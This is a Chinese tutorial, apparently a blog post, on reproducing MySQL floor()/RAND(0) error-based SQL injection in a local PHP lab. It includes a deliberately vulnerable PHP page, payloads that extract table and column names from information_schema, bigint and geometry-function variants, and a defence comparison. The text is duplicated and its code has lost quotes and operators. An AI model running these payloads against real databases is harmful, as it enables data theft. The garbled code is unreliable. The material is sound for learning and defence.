从零构建PHPMySQL靶场可视化floor报错注入实验指南实验环境准备与漏洞靶场搭建在开始探索floor报错注入之前我们需要一个可控的本地测试环境。推荐使用PHPStudy或Docker快速搭建# Docker方式需提前安装Docker docker run --name mysql-vuln -e MYSQL_ROOT_PASSWORD123456 -p 3306:3306 -d mysql:5.7 docker run --name php-apache -p 80:80 --link mysql-vuln:mysql -d php:7.4-apache创建漏洞页面的PHP代码保存为vulnerable.php?php $conn new mysqli(mysql, root, 123456, testdb); if ($conn-connect_error) die(Connection failed: . $conn-connect_error); $id $_GET[id]; $sql SELECT * FROM users WHERE id . $id; $result $conn-query($sql); if ($result-num_rows 0) { while($row $result-fetch_assoc()) { echo ID: . $row[id]. - Name: . $row[username]; } } else { echo No results; } $conn-close(); ?初始化测试数据库CREATE DATABASE testdb; USE testdb; CREATE TABLE users (id INT, username VARCHAR(255)); INSERT INTO users VALUES (1,admin),(2,guest),(3,test);MySQL日志监控与执行过程可视化要真正理解floor报错注入我们需要观察MySQL内部执行过程。开启general logSET GLOBAL general_log ON; SET GLOBAL log_output TABLE;查询日志的SQL语句SELECT * FROM mysql.general_log ORDER BY event_time DESC LIMIT 10;关键函数行为测试函数调用示例输出结果重要特性FLOOR()SELECT FLOOR(1.9)1向下取整RAND(0)SELECT RAND(0)0.15522042769493574确定性伪随机COUNT(*)SELECT COUNT(*) FROM users3统计行数通过以下命令观察rand(0)的确定性特征SELECT RAND(0), RAND(0), RAND(0) FROM users;floor报错注入的逐步拆解让我们分解这个经典报错语句SELECT COUNT(*), CONCAT(DATABASE(), FLOOR(RAND(0)*2)) AS x FROM users GROUP BY x;执行过程可视化表格执行步骤RAND(0)值FLOOR(RAND(0)*2)虚拟表状态关键动作10.1552200空表查询key0 → 不存在20.6208811{key:1, count:1}插入时RAND()已变化30.6387631{key:1, count:2}直接计数40.3315370{key:1, count:2}查询key0 → 不存在50.7390811冲突发生尝试插入重复key1错误产生的核心原因执行时序差异RAND()计算比虚拟表操作快确定性伪随机RAND(0)产生可预测序列主键冲突插入时值已变化导致重复实战注入技巧与防御方案进阶注入payload示例-- 获取表名 SELECT COUNT(*) FROM (SELECT 1 UNION SELECT CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schemaDATABASE() LIMIT 1),FLOOR(RAND(0)*2)))x GROUP BY x; -- 获取列名 SELECT COUNT(*) FROM (SELECT 1 UNION SELECT CONCAT((SELECT column_name FROM information_schema.columns WHERE table_nameusers LIMIT 1),FLOOR(RAND(0)*2)))x GROUP BY x;防御方案对比表防御方式实现代码防护效果性能影响预处理语句$stmt $conn-prepare(SELECT * FROM users WHERE id ?);★★★★★低类型转换$id (int)$_GET[id];★★★☆☆极低过滤函数$id mysqli_real_escape_string($conn, $_GET[id]);★★☆☆☆中WAF防护商业解决方案★★★★☆高深度原理分析与变种研究通过GDB调试MySQL源码观察虚拟表创建过程# 编译调试版MySQL git clone https://github.com/mysql/mysql-server.git cd mysql-server mkdir build cd build cmake .. -DCMAKE_BUILD_TYPEDebug make -j4关键断点设置item_func.cc:Item_func_rand::val_real()sql_select.cc:create_tmp_table()handler.cc:write_row()不同MySQL版本的差异版本行为特征是否可利用5.0.x稳定报错是5.1.x概率报错部分5.5修复机制否8.0完全防护否替代方案研究-- 基于bigint溢出 SELECT !(SELECT * FROM (SELECT USER())x)-~0; -- 基于几何函数 SELECT ST_LatFromGeoHash(USER());
别再死记硬背Payload了!用PHP+MySQL本地复现floor报错注入全过程
从零构建PHPMySQL靶场可视化floor报错注入实验指南实验环境准备与漏洞靶场搭建在开始探索floor报错注入之前我们需要一个可控的本地测试环境。推荐使用PHPStudy或Docker快速搭建# Docker方式需提前安装Docker docker run --name mysql-vuln -e MYSQL_ROOT_PASSWORD123456 -p 3306:3306 -d mysql:5.7 docker run --name php-apache -p 80:80 --link mysql-vuln:mysql -d php:7.4-apache创建漏洞页面的PHP代码保存为vulnerable.php?php $conn new mysqli(mysql, root, 123456, testdb); if ($conn-connect_error) die(Connection failed: . $conn-connect_error); $id $_GET[id]; $sql SELECT * FROM users WHERE id . $id; $result $conn-query($sql); if ($result-num_rows 0) { while($row $result-fetch_assoc()) { echo ID: . $row[id]. - Name: . $row[username]; } } else { echo No results; } $conn-close(); ?初始化测试数据库CREATE DATABASE testdb; USE testdb; CREATE TABLE users (id INT, username VARCHAR(255)); INSERT INTO users VALUES (1,admin),(2,guest),(3,test);MySQL日志监控与执行过程可视化要真正理解floor报错注入我们需要观察MySQL内部执行过程。开启general logSET GLOBAL general_log ON; SET GLOBAL log_output TABLE;查询日志的SQL语句SELECT * FROM mysql.general_log ORDER BY event_time DESC LIMIT 10;关键函数行为测试函数调用示例输出结果重要特性FLOOR()SELECT FLOOR(1.9)1向下取整RAND(0)SELECT RAND(0)0.15522042769493574确定性伪随机COUNT(*)SELECT COUNT(*) FROM users3统计行数通过以下命令观察rand(0)的确定性特征SELECT RAND(0), RAND(0), RAND(0) FROM users;floor报错注入的逐步拆解让我们分解这个经典报错语句SELECT COUNT(*), CONCAT(DATABASE(), FLOOR(RAND(0)*2)) AS x FROM users GROUP BY x;执行过程可视化表格执行步骤RAND(0)值FLOOR(RAND(0)*2)虚拟表状态关键动作10.1552200空表查询key0 → 不存在20.6208811{key:1, count:1}插入时RAND()已变化30.6387631{key:1, count:2}直接计数40.3315370{key:1, count:2}查询key0 → 不存在50.7390811冲突发生尝试插入重复key1错误产生的核心原因执行时序差异RAND()计算比虚拟表操作快确定性伪随机RAND(0)产生可预测序列主键冲突插入时值已变化导致重复实战注入技巧与防御方案进阶注入payload示例-- 获取表名 SELECT COUNT(*) FROM (SELECT 1 UNION SELECT CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schemaDATABASE() LIMIT 1),FLOOR(RAND(0)*2)))x GROUP BY x; -- 获取列名 SELECT COUNT(*) FROM (SELECT 1 UNION SELECT CONCAT((SELECT column_name FROM information_schema.columns WHERE table_nameusers LIMIT 1),FLOOR(RAND(0)*2)))x GROUP BY x;防御方案对比表防御方式实现代码防护效果性能影响预处理语句$stmt $conn-prepare(SELECT * FROM users WHERE id ?);★★★★★低类型转换$id (int)$_GET[id];★★★☆☆极低过滤函数$id mysqli_real_escape_string($conn, $_GET[id]);★★☆☆☆中WAF防护商业解决方案★★★★☆高深度原理分析与变种研究通过GDB调试MySQL源码观察虚拟表创建过程# 编译调试版MySQL git clone https://github.com/mysql/mysql-server.git cd mysql-server mkdir build cd build cmake .. -DCMAKE_BUILD_TYPEDebug make -j4关键断点设置item_func.cc:Item_func_rand::val_real()sql_select.cc:create_tmp_table()handler.cc:write_row()不同MySQL版本的差异版本行为特征是否可利用5.0.x稳定报错是5.1.x概率报错部分5.5修复机制否8.0完全防护否替代方案研究-- 基于bigint溢出 SELECT !(SELECT * FROM (SELECT USER())x)-~0; -- 基于几何函数 SELECT ST_LatFromGeoHash(USER());